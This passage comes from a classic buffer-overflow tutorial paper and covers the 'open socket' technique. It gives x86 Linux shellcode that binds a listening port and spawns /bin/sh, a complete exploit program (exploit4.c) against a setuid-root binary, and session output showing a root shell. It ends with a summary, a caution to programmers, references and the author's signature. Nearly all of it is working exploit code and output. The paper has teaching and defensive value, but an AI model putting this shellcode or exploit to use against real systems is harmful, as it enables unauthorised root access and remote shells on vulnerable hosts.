/* 2 is stored at 0xc(%esi). */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ /* store port number at 0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ /* %eax = the address of serv_addr */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* the second argument. */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ /* serv_addr.sin_addr.s_addr=0 */ /* 0 is stored at 0x10(%esi). */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* the third argument. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- listen(soc,1); code ---------------------------------------------------------------------------- /* %ecx is a pointer of all arguments. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\x06" /* movl %eax,(%esi) */ /* %eax has to have soc value before using this */ /* instruction. */ /* the first argument. */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* the second argument. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- accept(soc,0,0); code ---------------------------------------------------------------------------- /* %ecx is a pointer of all arguments. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\xf1" /* movl %eax,(%esi) */ /* %eax has to have soc value before using this */ /* instruction. */ /* the first argument. */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* the second argument. */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* the third argument. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- dup2(cli,0); code ---------------------------------------------------------------------------- /* the first argument is %ebx and the second argument */ /* is %ecx */ char code[]= /* %eax has to have cli value before using this */ /* instruction. */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- 6.3 Modify the normal shellcode You need some works to merge the above codes. new shellcode ---------------------------------------------------------------------------- char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80" /* int $0x80 */ "\x85\xc0" /* testl %eax,%eax */ "\x75\x43" /* jne 0x43 */ /* fork()!=0 case */ /* It will call exit(0) */ /* To do that, it will jump twice, because exit(0) is */ /* located so far. */ "\xeb\x43" /* jmp 0x43 */ /* fork()==0 case */ /* It will call -0xa5 */ /* To do that, it will jump twice, because call -0xa5 */ /* is located so far. */ "\x5e" /* popl %esi */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80" /* int $0x80 */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80" /* int $0x80 */ "\xeb\x04" /* jmp 0x4 */ "\xeb\x55" /* jmp 0x55 */ "\xeb\x5b" /* jmp 0x5b */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80" /* int $0x80 */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x01" /* movb $0x1,%cl */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x02" /* movb $0x2,%cl */ "\xcd\x80" /* int $0x80 */ "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */ /* %eax="/bin" */ "\x89\x06" /* movl %eax,(%esi) */ "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */ /* %eax="/sh/" */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x01" /* movb $0x1,%al */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\xe8\x5b\xff\xff\xff"; /* call -0xa5 */ ---------------------------------------------------------------------------- 6.4 Exploit vulnerable4 program With this shellcode, you can make an exploit code easily. And You have to make code which connects to the socket. exploit4.c ---------------------------------------------------------------------------- #include #include #include #include #include #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80" /* int $0x80 */ "\x85\xc0" /* testl %eax,%eax */ "\x75\x43" /* jne 0x43 */ "\xeb\x43" /* jmp 0x43 */ "\x5e" /* popl %esi */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80" /* int $0x80 */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80" /* int $0x80 */ "\xeb\x04" /* jmp 0x4 */ "\xeb\x55" /* jmp 0x55 */ "\xeb\x5b" /* jmp 0x5b */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80" /* int $0x80 */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x01" /* movb $0x1,%cl */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x02" /* movb $0x2,%cl */ "\xcd\x80" /* int $0x80 */ "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */ "\x89\x06" /* movl %eax,(%esi) */ "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x01" /* movb $0x1,%al */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\xe8\x5b\xff\xff\xff"; /* call -0xa5 */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } long getip(char *name) { struct hostent *hp; long ip; if((ip=inet_addr(name))==-1) { if((hp=gethostbyname(name))==NULL) { fprintf(stderr,"Can't resolve host.\n"); exit(0); } memcpy(&ip,(hp->h_addr),4); } return ip; } int exec_sh(int sockfd) { char snd[4096],rcv[4096]; fd_set rset; while(1) { FD_ZERO(&rset); FD_SET(fileno(stdin),&rset); FD_SET(sockfd,&rset); select(255,&rset,NULL,NULL,NULL); if(FD_ISSET(fileno(stdin),&rset)) { memset(snd,0,sizeof(snd)); fgets(snd,sizeof(snd),stdin); write(sockfd,snd,strlen(snd)); } if(FD_ISSET(sockfd,&rset)) { memset(rcv,0,sizeof(rcv)); if(read(sockfd,rcv,sizeof(rcv))<=0) exit(0); fputs(rcv,stdout); } } } int connect_sh(long ip) { int sockfd,i; struct sockaddr_in sin; printf("Connect to the shell\n"); fflush(stdout); memset(&sin,0,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(30464); sin.sin_addr.s_addr=ip; if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0) { printf("Can't create socket\n"); exit(0); } if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0) { printf("Can't connect to the shell\n"); exit(0); } return sockfd; } void main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; int sockfd; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i buff[i+ALIGN]=(addr&0x000000ff); buff[i+ALIGN+1]=(addr&0x0000ff00)>>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; for(i=0;i buff[bsize-1]='\0'; printf("Jump to 0x%08x\n",addr); if(fork()==0) { execl("./vulnerable4","vulnerable4",buff,0); exit(0); } sleep(5); sockfd=connect_sh(getip("127.0.0.1")); exec_sh(sockfd); } ---------------------------------------------------------------------------- exploit the vulnerable4 program ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable4 -rwsr-xr-x 1 root root 4091 Oct 18 20:21 vulnerable4* [ ohhara@ohhara ~ ] {2} $ ls -l exploit4 -rwxr-xr-x 1 ohhara cse 7973 Oct 18 20:25 exploit4* [ ohhara@ohhara ~ ] {3} $ ./exploit4 Jump to 0xbfffec64 Connect to the shell Can't connect to the shell [ ohhara@ohhara ~ ] {4} $ ./exploit4 500 Jump to 0xbfffea70 Connect to the shell whoami root ---------------------------------------------------------------------------- 6.5 What can you do with this technique? You can make various remote exploit code with this technique. If the vulnerable host is behind the firewall, you can open a socket in unfiltered port. This is a very useful technique when you attack rpc service with buffer overflow. 7. Summary This paper introduced four buffer overflow techniques. They are pass through filtering, change uid back to 0, break chroot, and open socket. These techniques will be very useful when you try to make a buffer overflow exploit code. In addition, these techniques can be combined. All programers MUST be careful when making a setuid root program or server program!!! PLEASE BE CAREFUL!!!!! 8. References Smashing The Stack For Fun And Profit by Aleph1 wu-ftpd remote exploit code by duke ADMmountd remote exploit code by ADM 9. Etc Sorry for my poor English. :( Written by Taeho Oh ( ohhara@postech.edu ) ---------------------------------------------------------------------------- Taeho Oh ( ohhara@postech.edu ) ~ohhara PLUS ( Postech Laboratory for Unix Security ) plus PosLUG ( Postech Linux User Group ) group/poslug ---------------------------------------------------------------------------- ------------------------------------------ Special thanks to all of PLUS members. ^_^ ------------------------------------------ ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- -- Taeho Oh ( ohhara@postech.edu ) ~ohhara PLUS ( Postech Laboratory for Unix Security ) plus PosLUG ( Postech Linux User Group ) group/poslug |